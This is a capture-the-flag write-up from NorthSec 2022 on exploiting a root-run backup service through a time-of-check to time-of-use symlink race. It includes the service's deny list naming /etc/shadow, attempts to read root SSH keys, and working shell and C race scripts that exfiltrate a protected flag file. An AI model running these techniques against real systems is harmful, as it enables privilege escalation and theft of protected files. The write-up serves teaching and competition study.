NSEC22 Mycoverse 2 - Fri, May 27, 2022 - Jean Privat Hellnia Klammydia Marcan
Mycoverse Portal. Part II: backup | Web | Nsec22
The first flag is in part 1
Always be able to backup and say, at least I didn’t lead no humdrum life
Thanks to the RCE, we have access to the server, as the www-data
user.
We need to explore some more.
There is a backup system running, we can access its code and especially its configuration file /app/backupsvc/appsettings.json
that contains a lot of information.
{
"CryptographyOptions": {
"keyfile": "/etc/backup/backup.key"
},
"BackupOptions": {
"Denied": [
"/var/backups",
"/etc/passwd",
"/etc/shadow",
"/etc/backup/backup.key"
],
"Encrypted": [
"/etc/backup/flag.txt"
]
},
"NetworkOptions": {
"port": 3388,
"proto": "tcp",
"concurrent": 1,
"listen": "::1"
},
"Logging": {
"LogLevel": {
"Mycoverse": "Debug",
"Default": "Debug",
"Microsoft": "Warning",
"Microsoft.Hosting.Lifetime": "Information"
}
}
}
- So the service control interface runs on a socket on the port 3388.
- Some interesting files lives in
/etc/backup
- Cryptography may be involved in this part of the challenge. But we expect that we can circumvent it instead of breaking it.
So, here is the /etc/backup
directory.
-rw------- 1 backup backup 32 Apr 29 21:49 backup.key
-rw------- 1 backup backup 45 Apr 29 21:49 flag.txt
Let’s try the service (our commands with >
, the answers with <
):
> backup /etc/flag.txt
< Wrote /var/backups/flag.txt
> backup /etc/backup.key
< Backup not allowed
> backup /etc/issue
< Wrote /var/backups/issue
> bye
< :(
It says that files written in /var/backups/
. We can confirm it.
$ ls /var/backups/
flag.txt issue
Thanks backup service! Except that some files are denied (like the key) and some file are encrypted (like the flag), thus are not understandable, at least without the key or without breaking the crypto.
Don’t ever let anybody tell you they’re better than you
The backup service runs with the root privilege and can access protected files, but the result to the backups in /var/backups/
are world readable, this is an obvious flaw!
So we can use backup to access things that a simple www-data user can only dream of (except the denied files according to the backup options) and eventually escalate some privileges and be better than us.
/root/.ssh/id_rsa
: does not exist/home/ubuntu/.ssh/id_rsa
: neither/etc/sudoers
: only standard content/etc/shadow
: denied- err… what else? some things in
/proc
? How useful could be these pseudo-files? - … seriously? We had so few ideas?
I don’t know if we each have a regular file, or if we’re all just symlinks floating around accidental, like on a breeze. But I think maybe it’s both. Maybe both are happening at (almost) the same time.
…long title but worth it
Let’s come back from our /rêves de grandeur/ and try to get /etc/backup/flag.txt
the Right Way™.
So we decompiled the C# code of the backup service to find a flaw in the application, it could be cryptographic or anything else.
The Backup
method of the Mycoverse.Services.Backup.BackupService
class was where the magic was happening.
private string Backup(string path)
{
if (string.IsNullOrWhiteSpace(path))
{
return "Invalid path";
}
FileInfo fi = new FileInfo(path);
if (Directory.Exists(fi.FullName))
{
return "Directory backup not supported";
}
if (fi.LinkTarget != null)
{
return Backup(fi.LinkTarget);
}
if (!fi.Exists)
{
return "File does not exist";
}
if (_config.IsDenied(fi))
{
return "Backup not allowed";
}
FileInfo outfile = new FileInfo(Path.Combine(_config.BackupDir, fi.Name));
string action = (outfile.Exists ? "Overwrote" : "Wrote");
FileStream src = fi.OpenRead();
if (outfile.Exists)
{
outfile.Delete();
}
FileStream dst = outfile.OpenWrite();
if (_config.ShouldEncrypt(fi))
{
_cipher.Encrypt(src, dst);
}
else
{
src.CopyTo(dst);
}
return action + " " + outfile.FullName;
}
So it calls FileInfo
on the source (so the stat
system call) and does some sanity and policy checks:
- Cannot backup directories. :(
- Cannot backup symlinks. If it is a symlink, then recursively backup the linked file. Note that this is a tail call recursion, so a virtual machine or a just-in-time compiler that worth its salt should optimize it and should not grow the stack indefinitely. ;)
- Cannot backup inexistent files. (duh!)
- Cannot backup denied file. (makes sense)
After all these checks it calls FileInfo
on the target (so one other stat
call).
But it is only used to change the message and to delete the target if any.
That is strange, because the OpenWrite
should just overwrite, no need to delete.
All this seems to be clearly a quite useless loss of time!
Basically, we have a schoolbook case of /time-of-check to time-of-use/ (TOCTOU):
- 1 Check that the file is not a symlink
- 2 (optional, but always welcome) Lose some time because why not? (and ease the exploitation)
- 3 Open the file and read the content
Where, unfortunately, between 1 and 3, the file behind the path could have been replaced by a symlink to a file one really wanted to retrieve. It is a race condition where the attacker /just/ has to backup the file then switch the file exactly at the appropriate time.
Obviously, it is unlikely to have it right the first time, nor even at the 100th time, but it is a 48h CTF, the gods of odds should be on our side.
Run, Forrest! Run!
For this race we need two runners, a first one that switches the files and a second one that calls the backup service. We also need some stop condition to avoid overwriting the flag once it is backuped (not a word).
The fist runner
cd /tmp/toto
while true; do
echo -n > x
mv x target
ln -f /etc/backup/flag.txt target
done
Where, at any moment, the target
file is either an empty file, or a symlink to the flag. Note that the target always exists because on POSIX systems, mv
(the rename
syscall) is atomic.
The second runner
while test ! -s /var/backups/target; do
echo -e 'backup /tmp/toto/target\nbye\n' | nc localhost 3388
done
It repeatedly invokes the backup service on /tmp/toto/target
(that is swapping) and quit.
It stops when the backuped file is not empty.
Let’s discuss the various scenarios
target
is a symlink when FileInfo
is executed, then the LinkTarget (aka /etc/backup/flag.txt
) is successfully backuped: /var/backups/flag.txt
is created but encrypted :(
target
is a regular empty file when FileInfo
is executed and target
is still a regular empty file when OpenRead
is executed, then /var/backups/target
is created as an empty file. This is a successful backup! But useless for us :(
target
is a regular empty file when FileInfo
is executed but target
is a symlink when OpenRead
is executed.
OpenRead
does not do politics, just a plain open("/tmp/toto/target")
system call.
Since this file is now a symlink, the operating system, under the hood, opens the /etc/backup/flag.txt
file and will then read the precious bytes from it: F
, L
, A
, etc.
Note that _config.ShouldEncrypt(fi)
returns true because the name of the file is still /tmp/toto/target
and according to the configuration file of the backup service is fair play to backup as plain and readable data.
3 various scenarios does not mean that 33% of chance to win, and unfortunately, after some (how many?) hours, it seemed that the gods of odds were not on our side :(
Miracles happen every half an hour. Some people don’t think so, but they do
Not fast enough! Need more speed! Gods of odds like the C language! Let’s rewrite the programs in C!
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char **argv) {
while(1) {
symlink(argv[1], "tmp");
rename("tmp", argv[2]);
int i = creat("tmp", 0666);
close(i);
rename("tmp", argv[2]);
}
}
and
#include <sys/socket.h>
#include <netinet/in.h>
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>
#include <arpa/inet.h>
#include <err.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
char buf[4096];
int main(int argc, char **argv) {
if(argc!=4) {
printf("usage: bk port contenu fichier_de_garde\n");
return 1;
}
int r;
for (;;) {
struct stat statbuf;
r = stat(argv[3], &statbuf);
if (r!=0 && errno!=ENOENT) err(EXIT_FAILURE, NULL);
if (statbuf.st_size > 0) {
printf("Garde: %s existe de taille %zd\n", argv[3], statbuf.st_size);
return 0;
}
int fd = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in6 addr;
memset(&addr, 0, sizeof(addr));
addr.sin6_family = AF_INET6;
addr.sin6_port = htons(atoi(argv[1]));
inet_pton(AF_INET6, "::1", &addr.sin6_addr);
r = connect(fd, (struct sockaddr*)&addr, sizeof(addr));
if (r!=0) err(EXIT_FAILURE, NULL);
printf("connected\n"); fflush(stdout);
size_t l = write(fd, argv[2], strlen(argv[2]));
printf("sent %zd\n", l); fflush(stdout);
shutdown(fd, SHUT_WR);
for(;;) {
size_t l = read(fd, buf, sizeof(buf));
if (l == -1) err(EXIT_FAILURE, NULL);
if (l == 0) break;
fwrite(buf, l, 1, stdout); fflush(stdout);
}
close(fd);
}
}
30 minutes later we had the flag!
After talking with the challenge designer, the Right Way™ was to backup indefinitely until it got too big, it would have crashed and got us a memory dump. We would have needed to do some forensics, retrieve a way to decrypt the flag… Better using a TOCTOU, no?
The other flags are not in part 3 (tba)